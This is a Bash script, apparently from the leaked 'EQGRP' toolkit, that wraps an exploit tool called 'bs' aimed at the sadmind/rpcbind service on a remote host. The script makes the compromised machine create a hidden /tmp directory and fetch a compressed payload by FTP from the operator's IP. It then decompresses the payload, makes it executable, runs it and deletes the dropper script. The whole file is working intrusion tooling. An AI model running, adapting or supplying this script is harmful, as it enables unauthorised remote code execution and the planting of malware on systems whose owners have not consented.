EQGRP/Linux/bin/bs_gr
2017-04-08 16:05:14 +02:00

109 lines
2.8 KiB
Bash
Executable file

#!/bin/sh
#
# Use bs to upload a program via reverse FTP and run it
#
# Some default values
SCRIPT="/tmp/...."
DIR="/tmp/..."
LOCAL_USER="test"
LOCAL_PASSWD="test"
# Show usage and exit
usage() {
echo "Old Usage: ${0} rem_ip rem_host loc_ip loc_user loc_passwd file [args...]"
echo ""
echo "New usage: ${0} [options] -- [options to <file2Xfer&Run>]"
echo " -i <remoteIP> (required)"
echo " -h <remoteHost> (required)"
echo " -a Use alt rpcbind port"
echo " -s <sndPort> def= bs default"
echo " -r <rcvPort> def= bs default"
echo " -d <remoteDomain>"
echo " -p <sadmindPort> def= query rpcbind"
echo " -l <localIP> (required)"
echo " -u <localUser> (def= test)"
echo " -P <localPassword> (def= test)"
echo " -f <file2Xfer&Run> (required)"
echo " -D <remoteDir> def= $DIR"
echo " -S <remoteScript> def= $SCRIPT"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
#
if [ "`echo $1 | cut -c1`" != "-" ]; then
# Must be old style command line
[ $# -lt 6 ] && usage
REMOTE_IP=${1}
REMOTE_HOST=${2}
LOCAL_IP=${3}
LOCAL_USER=${4}
LOCAL_PASSWD=${5}
RUN_FILE=${6}
shift; shift; shift; shift; shift; shift
REMOTE_PORTS="23 23"
else
# New style options
while getopts i:h:as:r:d:p:l:u:P:f:D:S: op; do
case $op in
i) REMOTE_IP="-i $OPTARG";;
h) REMOTE_HOST="-h $OPTARG";;
a) altRpcbind="-a";;
s) sndPort="-s $OPTARG";;
r) rcvPort="-r $OPTARG";;
d) remDomain="-d $OPTARG";;
p) sadmindPort="-p $OPTARG";;
l) LOCAL_IP="$OPTARG";;
u) LOCAL_USER="$OPTARG";;
P) LOCAL_PASSWD="$OPTARG";;
f) RUN_FILE="$OPTARG";;
D) DIR="$OPTARG";;
S) SCRIPT="$OPTARG";;
esac
done
cmdFlag="-c"
extraOpts="$altRpcbind $sndPort $rcvPort $remDomain $sadmindPort"
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
fi
EXTRA="${*}"
echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts ..."
echo "--> my IP is $LOCAL_IP"
echo "--> local user/pass is $LOCAL_USER/$LOCAL_PASSWD"
echo "--> xfering and running $RUN_FILE"
echo "--> using tmp file $SCRIPT"
echo "--> using tmp dir $DIR"
#exit 0
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts \
$cmdFlag "/bin/echo \"/bin/mkdir ${DIR}
/bin/ftp -in << EOF
open ${LOCAL_IP}
user ${LOCAL_USER} ${LOCAL_PASSWD}
binary
lcd ${DIR}
get ${RUN_FILE}.Z
EOF
cd ${DIR}
/usr/bin/uncompress -f ${RUN_FILE}.Z
/bin/chmod 0700 ${RUN_FILE}
PATH=${DIR} ${RUN_FILE} ${EXTRA}
/bin/rm ${SCRIPT}
\" > ${SCRIPT} &&
/bin/sh ${SCRIPT}"